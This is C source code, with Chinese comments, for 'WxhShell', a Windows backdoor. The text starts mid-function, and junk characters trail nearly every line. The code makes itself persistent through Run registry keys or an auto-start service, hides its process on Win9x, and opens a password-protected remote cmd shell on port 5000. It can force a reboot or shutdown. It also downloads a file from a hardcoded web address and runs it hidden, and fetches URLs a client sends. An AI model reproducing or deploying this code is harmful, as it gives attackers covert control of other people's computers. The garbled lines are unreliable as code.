    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); On,z# A  
    if(Boot(SHUTDOWN)) QO4eDSW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NkAu<> G _  
    else { LfvRH?<W  
    closesocket(wsh); `U>]*D68  
    ExitThread(0); t ;y@;?~  
    } >Hd!o"I  
    break; hS^8/]E={  
    } c2PBYFCyC  
  // 获取shell r6nWrO>y  
  case 's': { V@`%k]k  
    CmdShell(wsh); |#B)`r8  
    closesocket(wsh); _A=i2?g  
    ExitThread(0); *(sv5c!0M8  
    break; ^j1i CL!  
  } P R_| 8H|  
  // 退出 v5W-f0Jo  
  case 'x': { ; Ji3|=4u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >ffQ264g=i  
    CloseIt(wsh); UxnZA5Lk*  
    break; pO2XQYhrY  
    } mzf^`/NO  
  // 离开 P+rDln {  
  case 'q': { PE6ZzxR|U<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x. /WP~I  
    closesocket(wsh); %KR2Vlh0  
    WSACleanup(); 4u1au1c  
    exit(1); BD M"";u  
    break; F*y7 4j,  
        } I0_>ryA  
  } Z_Y gV:jc  
  } _ujhD  
(,RL\1zJ  
  // 提示信息 Yb'%J@T}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &#'.I0n  
} t;t;+M|W  
  } n9k-OGJ  
&E-q(3-  
  return; pc;`Fz/`7  
} )t$-/8  
U< "k -  
// shell模块句柄 cfHtUv  
int CmdShell(SOCKET sock) D#d/?\2  
{ )c.!3n/pb  
STARTUPINFO si; 2UTmQOm  
ZeroMemory(&si,sizeof(si)); -LlS9[r0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1gX$U00:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k%;oc$0G-3  
PROCESS_INFORMATION ProcessInfo; ]'0}fuV  
char cmdline[]="cmd"; Wyb+K)Tg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uFfk!  
  return 0; N \woFrG  
} I@(3~ Ab  
*~zB{  
// 自身启动模式 $/Llzpvny  
int StartFromService(void) w[u>*I  
{ 5#dJga/88  
typedef struct )1!0'j99.  
{ _*wlK;`  
  DWORD ExitStatus; )J 8mn*  
  DWORD PebBaseAddress; 4?c0rC<  
  DWORD AffinityMask; c + aTO"  
  DWORD BasePriority; $IJ"fs  
  ULONG UniqueProcessId; v `;Hd8  
  ULONG InheritedFromUniqueProcessId; yxi*4R  
}   PROCESS_BASIC_INFORMATION; {^R>H|~  
].@8/. rg  
PROCNTQSIP NtQueryInformationProcess; </2Cn@  
tSVS ogGd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cEGR?4z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zw0u|q;#  
Y,-! QFS#  
  HANDLE             hProcess; GGsAisF"N  
  PROCESS_BASIC_INFORMATION pbi; MKX58y{+  
 4Gj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `X(H,Q}*;  
  if(NULL == hInst ) return 0; )c<[@ ::i  
QvlV jDIy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yL23 Nqe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V%voe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z -'e<v;w  
/lc4oXG8  
  if (!NtQueryInformationProcess) return 0; oW6b3Q /B  
|)[&V3+|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R?#.z#  
  if(!hProcess) return 0; b{.Y?.U  
KB gFS%-W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2|${2u`$&y  
=0>[-:Z  
  CloseHandle(hProcess); R=S)O.*R  
EfX,0NqT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cEK#5   
if(hProcess==NULL) return 0; P9M%B2DQ6f  
$]4o!Z  
HMODULE hMod; +9.GNu  
char procName[255]; y]uBVn'u  
unsigned long cbNeeded; }-p-(  
#r@>.S=U]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PVrNS7 Rk/  
Qa"4^s  
  CloseHandle(hProcess); -`PLewvX  
MTn}]blH  
if(strstr(procName,"services")) return 1; // 以服务启动 C-H6l6,  
BuOe'$F 0t  
  return 0; // 注册表启动 72= 4#  
} %Ybr5$_  
rE?B9BF3O  
// 主模块 n]3Z~HoZ  
int StartWxhshell(LPSTR lpCmdLine) :#=B wdC  
{ m[hHaX  
  SOCKET wsl; Q}1qt4xy*  
BOOL val=TRUE; a@! O}f*  
  int port=0; |wyua@2  
  struct sockaddr_in door; SfPtG  
}s.\B    
  if(wscfg.ws_autoins) Install(); p@wtT"Y  
A%~t[ H  
port=atoi(lpCmdLine); "P$')u wE  
va!fJ  
if(port<=0) port=wscfg.ws_port; lN_b&92  
gj82qy\:  
  WSADATA data; -'Z-8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J5}?<Dd:  
Z*.rv t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q>TNzh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jV#1d8qm  
  door.sin_family = AF_INET; WPPD vB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G9CL}=lJ,  
  door.sin_port = htons(port); J!yK/*sO,  
M[L@ej  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8]WcW/1r !  
closesocket(wsl); 5[P^O6'  
return 1; AH^'E  
} 2c3/iYCKP  
WmE4TL^8?  
  if(listen(wsl,2) == INVALID_SOCKET) { AA}+37@2I  
closesocket(wsl); n`p/;D=?  
return 1; Iv?1XI=  
} ix 5\Y  
  Wxhshell(wsl); ZpZoOdjslV  
  WSACleanup(); 1czU$!MV  
sAjN<P  
return 0; a)!R4  
*]ME]2qP  
} 8x9;3{R   
9 $zx<O  
// 以NT服务方式启动 vyT-!mC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $LtCI  
{ `8;\}6:"1  
DWORD   status = 0; Ee=!bv(%70  
  DWORD   specificError = 0xfffffff; iGNZC{  
9<5ii  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h#u k-7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cm-dos  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h2 >a_0"  
  serviceStatus.dwWin32ExitCode     = 0; MF +F8h>/  
  serviceStatus.dwServiceSpecificExitCode = 0; x/%/MFK)>8  
  serviceStatus.dwCheckPoint       = 0; )~#3A@  
  serviceStatus.dwWaitHint       = 0; _ FN#Vq2  
Qi|k,1A0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y~ wN:  
  if (hServiceStatusHandle==0) return; ;z~j%L%b  
D+7[2$:z  
status = GetLastError(); gY_AO1  
  if (status!=NO_ERROR) kuv+TN  
{ la`f@~Bbr1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vh^?M#\  
    serviceStatus.dwCheckPoint       = 0; ,+FiP{`  
    serviceStatus.dwWaitHint       = 0; H WFnIUv  
    serviceStatus.dwWin32ExitCode     = status; ;Ehv1{;  
    serviceStatus.dwServiceSpecificExitCode = specificError; m4G))||9Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K^%ONultv  
    return; *++}ll6  
  } svMu85z  
'Kd-A:K2g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dRBWJ/ 1T  
  serviceStatus.dwCheckPoint       = 0; COA>y?  
  serviceStatus.dwWaitHint       = 0; 8/-hODoT_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5B;;{GR  
} 9\%`/tJM  
_]us1  
// 处理NT服务事件,比如:启动、停止 (_fovV=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aQ0pYk~(  
{ ?qbq\t  
switch(fdwControl) ;6*$!^*w  
{ RF'&.RtVa  
case SERVICE_CONTROL_STOP: ~P"o_b6,k  
  serviceStatus.dwWin32ExitCode = 0; A#]78lR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xkf|^-n  
  serviceStatus.dwCheckPoint   = 0; u3IhB8'  
  serviceStatus.dwWaitHint     = 0; "nU] 2  
  { P-X2A2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^N O4T  
  } 2W;2._  
  return; P5v;o9B&  
case SERVICE_CONTROL_PAUSE: LVJn2t^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VhU,("&pm  
  break; &,$N|$yK}|  
case SERVICE_CONTROL_CONTINUE: ra^"Vr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <BK?@Xy  
  break; ghW  
case SERVICE_CONTROL_INTERROGATE: eqqnR.0  
  break; *Z3b6X'e  
}; /$|-!e<5b\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o>HGfr,N  
} |q Pu*vR  
jH37{S-  
// 标准应用程序主函数 eCG{KCM~_Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mnU8i=v0 A  
{ a&B@F]+  
'>t'U?7w<  
// 获取操作系统版本 5`q#~fJ2  
OsIsNt=GetOsVer(); 1?,C d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XjTu`?Na;  
Xl E0oN~{  
  // 从命令行安装 -a7BVEFts  
  if(strpbrk(lpCmdLine,"iI")) Install(); d5n>2iO  
G'{&*]Z\:  
  // 下载执行文件  |?ZNGPt  
if(wscfg.ws_downexe) { ?)7UqVyq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'AZxR4W  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ij:yTu   
} N: 5 N}am  
Tb{RQ?Nw'  
if(!OsIsNt) { </W"e!?X  
// 如果时win9x,隐藏进程并且设置为注册表启动 NdC5w-WY  
HideProc(); T `o[whr  
StartWxhshell(lpCmdLine); ~gg&G~ ET  
} gq~"Z[T  
else =0SJf 3  
  if(StartFromService()) 54oJ MW9  
  // 以服务方式启动 \og2\Oh&gH  
  StartServiceCtrlDispatcher(DispatchTable); TwKi_nh2m  
else L),bP fz  
  // 普通方式启动 r"dR}S.Uf  
  StartWxhshell(lpCmdLine); *TPWLR ^  
y8 dOx=c  
return 0; wqgKs=y  
} hbs /S  
hd)WdGJp  
DkW^gt  
\+k~p:d_8  
=========================================== vILgM\or  
=)J<R;  
`tl-] ^Y2  
fP llN8n  
qf{HGn_9~1  
<Ik5S1<h$H  
" 2%) ~E50U  
{d> 6*b  
#include <stdio.h> cvYKZB  
#include <string.h> :c(#03w*C  
#include <windows.h> l0tFj>q"  
#include <winsock2.h> l)V646-O,~  
#include <winsvc.h> XY<KLO%  
#include <urlmon.h> LdnTdh?  
@@=,bO  
#pragma comment (lib, "Ws2_32.lib") TW=N+ye^1(  
#pragma comment (lib, "urlmon.lib") {,= hIXo>  
%Lq}5zB  
#define MAX_USER   100 // 最大客户端连接数 ypx`!2Q$  
#define BUF_SOCK   200 // sock buffer A>\3FeU>UC  
#define KEY_BUFF   255 // 输入 buffer (R(NEN  
NWj4U3x  
#define REBOOT     0   // 重启 !p_l(@f  
#define SHUTDOWN   1   // 关机 }sp?@C,Z  
AnpO?+\HF  
#define DEF_PORT   5000 // 监听端口 ;Hb"SB  
=>7czw:S 1  
#define REG_LEN     16   // 注册表键长度 /Z]hX*QR  
#define SVC_LEN     80   // NT服务名长度 Fzz9BEw(i  
& d* bQv$  
// 从dll定义API xM/WS':V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P1<McQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c)c_Qv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z2q!_ ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kH=qJ3Z  
<"av /`;  
// wxhshell配置信息 @.pr}S/  
struct WSCFG { 4I2#L+W  
  int ws_port;         // 监听端口 r>G||/Z  
  char ws_passstr[REG_LEN]; // 口令 R S] N%`]  
  int ws_autoins;       // 安装标记, 1=yes 0=no kD6Iz$tr  
  char ws_regname[REG_LEN]; // 注册表键名 wV,=hMTd&\  
  char ws_svcname[REG_LEN]; // 服务名 qJw\<7m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2FGCf} ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?i}wm`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *=77|Dba  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m;S%RB^~H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JC}T*h>Ee  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6mjD@  
`0-i>>  
}; jRxzZt4  
jJ?G7Q5 l  
// default Wxhshell configuration u3sr"w&  
struct WSCFG wscfg={DEF_PORT, |V^f}5gd  
    "xuhuanlingzhe", K] &GSro  
    1, `R*!GHro  
    "Wxhshell", jEK{47i v  
    "Wxhshell", Z1wfy\9c8  
            "WxhShell Service", <f0yh"?6VH  
    "Wrsky Windows CmdShell Service", 6L2Wv5C  
    "Please Input Your Password: ", E&Sr+D aPD  
  1, @== "$uRw  
  "http://www.wrsky.com/wxhshell.exe", z]j_,3Hff  
  "Wxhshell.exe" UN:cRH{?*  
    }; HN<e)E38  
fqn;,!D?9  
// 消息定义模块 N<QLvZh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WrR8TYq9D]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {(h!JeQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 *4i0{]  
char *msg_ws_ext="\n\rExit."; 5,R<9FjW  
char *msg_ws_end="\n\rQuit."; x(rl|o  
char *msg_ws_boot="\n\rReboot..."; GD!!xt  
char *msg_ws_poff="\n\rShutdown..."; A64c,Uv  
char *msg_ws_down="\n\rSave to "; |xpOU*k  
" pL5j  
char *msg_ws_err="\n\rErr!"; u3HaWf3  
char *msg_ws_ok="\n\rOK!"; Apkb!"}>  
 0 - u,AD  
char ExeFile[MAX_PATH]; CC]q\%y-_  
int nUser = 0; !@> :k3DC&  
HANDLE handles[MAX_USER]; sO)!}#,   
int OsIsNt; zhU^~4F  
g5 y*-t  
SERVICE_STATUS       serviceStatus; ^;@!\Rc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !ce,^z&5  
%}{.U  
// 函数声明 U)1hC^[!   
int Install(void); _;-b ZH  
int Uninstall(void); v=D4O.  
int DownloadFile(char *sURL, SOCKET wsh); ~:-V<r,pe  
int Boot(int flag); axv-U dE;  
void HideProc(void); "rw'mogRL  
int GetOsVer(void); 7Q aZ|\c  
int Wxhshell(SOCKET wsl); h\8bo=  
void TalkWithClient(void *cs); >9[wjB2?}  
int CmdShell(SOCKET sock);  8vUq8[[  
int StartFromService(void); "p&4Sn3T2?  
int StartWxhshell(LPSTR lpCmdLine); Dj w#{WR  
bW zUWLa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^k!u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hlj3z3  
q&,uJo  
// 数据结构和表定义 ; $UB@)7%  
SERVICE_TABLE_ENTRY DispatchTable[] = ,k m`-6.2?  
{ M\kct7Y  
{wscfg.ws_svcname, NTServiceMain}, ?q"9ZYX<  
{NULL, NULL} ] .c$(.  
}; bbWW|PtWwP  
W}k)5<C4v  
// 自我安装 1["IT.,f.  
int Install(void) 'he&h4fm  
{ x!UGLL]_M  
  char svExeFile[MAX_PATH]; ?)4c!3#  
  HKEY key; dVBr-+  
  strcpy(svExeFile,ExeFile); /-g%IeF  
;AT~?o`n  
// 如果是win9x系统,修改注册表设为自启动 t s=+k/Z  
if(!OsIsNt) { K ?V' ?s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M'$?Jp#]}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); weIlWxy  
  RegCloseKey(key); )lVplAhZD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { smX&B,&@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7] 17?s]t,  
  RegCloseKey(key); WQHlf 0]  
  return 0; m_UzmWF  
    } &-|(q!jm  
  } Gdlx0i  
} r D|Bj(X8  
else { AaJz3oncJ  
1@`mpm#Y  
// 如果是NT以上系统,安装为系统服务 $P Tl{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =`wnng5m  
if (schSCManager!=0) \Qz  
{ 7[(<t+  
  SC_HANDLE schService = CreateService G3t\2E9S  
  ( lUHpGr|U%  
  schSCManager, E\~!E20^  
  wscfg.ws_svcname, !(qaudX{>k  
  wscfg.ws_svcdisp, 6CzN[R}  
  SERVICE_ALL_ACCESS, It8@Cp.dU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <Kq!)) J'  
  SERVICE_AUTO_START, -)E6{  
  SERVICE_ERROR_NORMAL, +Z/aG k;  
  svExeFile, $9<P3J 1  
  NULL, y?V#LW[^E  
  NULL, {c=H#- A  
  NULL, &fwb?Vn4  
  NULL, u]t#Vf-$u  
  NULL o&rNM5:  
  ); |z.Ov&d4)(  
  if (schService!=0) zA&]#mc  
  { WO{9S%ck  
  CloseServiceHandle(schService); E XQ 3(:&  
  CloseServiceHandle(schSCManager); $-_@MT~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uh~,>~a|  
  strcat(svExeFile,wscfg.ws_svcname); $:*/^)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *iujJ i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]q@W(\I  
  RegCloseKey(key); MJ`BlE,Fmb  
  return 0; zY\MzhkX,  
    } (k>I!Z/&2  
  } M!] g36h[  
  CloseServiceHandle(schSCManager); U( "m}^  
} |?<r  
} !T26#>mV  
1&JB@F9!  
return 1; _6MNEoy?  
} _<;westq  
{@3p^b*E)1  
// 自我卸载 =/qj vY  
int Uninstall(void) > 0NDlS%Q:  
{ tfq; KR  
  HKEY key; \ dZD2e4  
qeoj  
if(!OsIsNt) { "z ;ky8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "?Xb$V7  
  RegDeleteValue(key,wscfg.ws_regname); yI}_ U  
  RegCloseKey(key); +L<x0-&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u[1'Ap  
  RegDeleteValue(key,wscfg.ws_regname); FLOSdMYdw  
  RegCloseKey(key); T~-PT39E  
  return 0; Z/= HQ8  
  } k[;(@e@c  
} N^By#Z  
} EyPF'|Qtn  
else { |>AHc_:$$  
e(sV4Z~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;PG,0R`Z;  
if (schSCManager!=0) ~0XV[$`L  
{ j?9fb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  9/R<,  
  if (schService!=0) }TAHVcX*p  
  { naWW i]9  
  if(DeleteService(schService)!=0) { zrCQEQq  
  CloseServiceHandle(schService); 9_\1cSk'  
  CloseServiceHandle(schSCManager); >&2n\HR\  
  return 0; %^66(n)  
  } WG.J-2#3  
  CloseServiceHandle(schService); {,b:f  
  } "ku ?A^f  
  CloseServiceHandle(schSCManager); >Y[nU~w  
} 'Gds?o8  
} \H$j["3  
L# NW<T  
return 1; X |X~|&j  
} vd!|k5t[d  
$Xr9<)?,  
// 从指定url下载文件 z9[BQ(9t  
int DownloadFile(char *sURL, SOCKET wsh) 4?9cyv4H  
{ 4+_r0  
  HRESULT hr; }@S''AA\  
char seps[]= "/"; ~V<62"G  
char *token; G9i?yd4n=B  
char *file; (3M7RpsL@  
char myURL[MAX_PATH]; U `<?~Bz  
char myFILE[MAX_PATH]; \%011I4  
Fl&Z}&5p  
strcpy(myURL,sURL); ^\zf8kPti  
  token=strtok(myURL,seps); Um\_G@  
  while(token!=NULL) A/{0J\pA  
  { - d(RK_  
    file=token; SRf .8j  
  token=strtok(NULL,seps); G%RhNwm  
  } S`?cs^?  
gw);b)&mx  
GetCurrentDirectory(MAX_PATH,myFILE); _f5n t:-  
strcat(myFILE, "\\"); 8]-c4zK  
strcat(myFILE, file); -?&s6XA%#  
  send(wsh,myFILE,strlen(myFILE),0); b".e6zev  
send(wsh,"...",3,0); WF0[/Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A('_.J=  
  if(hr==S_OK) O*zF` 9  
return 0; fA>FU/r  
else .kkrU  
return 1; KQ(7%W  
1P+Te,I  
} i VIpe  
b#[7A  
// 系统电源模块 IHlTp0?  
int Boot(int flag) lwuslt*E/  
{ \a}W{e=FNT  
  HANDLE hToken; `;fk,\8t%  
  TOKEN_PRIVILEGES tkp; =/jCDY  
z4 yV1  
  if(OsIsNt) { my^2}>wi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5U+a{oA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XKq}^M&gy  
    tkp.PrivilegeCount = 1; <X,0\U!lL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8~")9w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R7xEE7p  
if(flag==REBOOT) { nd/.]"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dNMz(~A[Y  
  return 0; Y"&1jud4xl  
} 5*W<6ia  
else { F ak"u'~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lu@'Ee!>G  
  return 0; N }tiaL4  
} ?H2{R:  
  } h (1 }g/  
  else { pZv>{=2hOS  
if(flag==REBOOT) { zU1[+JJY"{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aV'r oxM  
  return 0; 2PSt*(  
} [C"[#7  
else { 8QYM/yAM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wpLC,  
  return 0; xfyUT^  
} <(U :v  
} .}.63T$h9  
O$Z<R:vVA  
return 1; $J] b+Bp  
} dUg| {l  
_PR> <L_  
// win9x进程隐藏模块 g,N"o72)  
void HideProc(void) sC=fXCGW\p  
{ i$:\,  
1hQeuG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i!jR>+  
  if ( hKernel != NULL ) Jm l4EW7  
  { (IY= x{b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /v,H%8S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;ESuj'*t  
    FreeLibrary(hKernel); X_0Ta_u?T  
  } '&.QW$B\B_  
^l(Kj3gM  
return; UvtSNP&/2d  
} 8=#J:LeXj  
i!!1^DMrw  
// 获取操作系统版本 [aK7v{Wu  
int GetOsVer(void) lQolE P.pc  
{ BrQXSN$i  
  OSVERSIONINFO winfo; dsh S+d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A $9^JF0$  
  GetVersionEx(&winfo); b:,S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p+;[i%`  
  return 1; 3 oG5E"G  
  else ;be2sTo  
  return 0; !\0UEC  
} '01ifA^  
;c-J)Ky  
// 客户端句柄模块 MU; L7^  
int Wxhshell(SOCKET wsl) PV*U4aP  
{ ]y:ez8RFPU  
  SOCKET wsh; Zljj  
  struct sockaddr_in client; \Ami-<T  
  DWORD myID; j5,vSh~q;'  
O+Zt*jN;  
  while(nUser<MAX_USER) 1HF=,K+  
{ EMDsi2  
  int nSize=sizeof(client); ,,Dwb\B}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yJ(p-3O5  
  if(wsh==INVALID_SOCKET) return 1; i U^tv_1  
`|1#Vuk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R(?g+:eCpM  
if(handles[nUser]==0) O;u&>BMk  
  closesocket(wsh); ? (&)p~o  
else wgK:^D P  
  nUser++; p/4\O  
  } /mb?C/CI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?]`kc  
ohHKZZ  
  return 0; z*cC2+R}=  
} 5$,dpLbL  
iUv#oX H  
// 关闭 socket 9Ytf7NpR  
void CloseIt(SOCKET wsh) p nS{W \Q  
{ Hoaf3 `n  
closesocket(wsh); M(l>^N8W8  
nUser--; VpDNp (2  
ExitThread(0); fa7I6 i  
}  Pa .D+  
)Q_^f'4  
// 客户端请求句柄 'WEypz  
void TalkWithClient(void *cs) 0-ISOA&  
{ N|n"JKw)  
]UR@V;JG  
  SOCKET wsh=(SOCKET)cs; vJheM*C  
  char pwd[SVC_LEN]; a9CY,+ z5B  
  char cmd[KEY_BUFF]; f$G{7%9*  
char chr[1]; ,k*g `OTW  
int i,j; L'dR;T[;  
S\"/=|\  
  while (nUser < MAX_USER) { 5]/i[T_  
}H!l@  
if(wscfg.ws_passstr) { UN7>c0B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "XWrd [Df  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |IbCN  
  //ZeroMemory(pwd,KEY_BUFF); n%o"n?e  
      i=0; `'Fz :i  
  while(i<SVC_LEN) { y$=$Yc&Ub  
c#?JW:^|Df  
  // 设置超时 sb"etc`w%-  
  fd_set FdRead; 0v%ZKvSID  
  struct timeval TimeOut; {5tb.{  
  FD_ZERO(&FdRead); >z'kCv  
  FD_SET(wsh,&FdRead); teO%w9ByY  
  TimeOut.tv_sec=8; ,/O,j SRk  
  TimeOut.tv_usec=0; W 7k\j&x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EV}c,*);y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R;2tb7o  
(Sr D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #7!P3j  
  pwd=chr[0]; YK[PC]w  
  if(chr[0]==0xd || chr[0]==0xa) { ^l}Esz`-M  
  pwd=0; {H FF|Dx  
  break; `:hEc<_/  
  } ZJCD)?]=3  
  i++; \ W3\P=  
    } XG]ltSOy  
B3Id}[V  
  // 如果是非法用户,关闭 socket L*TPLS[lh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t2)S61Vr  
} S+03aJNN#  
g3r4>SA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %#!pAUP\&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OF^:_%c/  
7X \azL  
while(1) { 7Sc._G{[%  
q8U*  
  ZeroMemory(cmd,KEY_BUFF); $is|B9B  
4CR.=  
      // 自动支持客户端 telnet标准   JI{|8)S  
  j=0; FyZp,uD  
  while(j<KEY_BUFF) { rQ0V3x1"Qx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s bf\;_!  
  cmd[j]=chr[0]; de.!~%D  
  if(chr[0]==0xa || chr[0]==0xd) { rFY% fo  
  cmd[j]=0; }]0f -}  
  break; ?nWK s  
  } {fi:]|<1h  
  j++; %O$4da"y  
    } x.Sq2rw]V  
YQU #aOl  
  // 下载文件 qT( 3M9!  
  if(strstr(cmd,"http://")) { Jvysvi{8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &"^,Ubfcn"  
  if(DownloadFile(cmd,wsh)) 3GkVMYI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7x *]  
  else M" |Mte  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `mU'{  
  } G813NoS o  
  else { E 9=a+l9  
,z6&k   
    switch(cmd[0]) { sxq'uF(K  
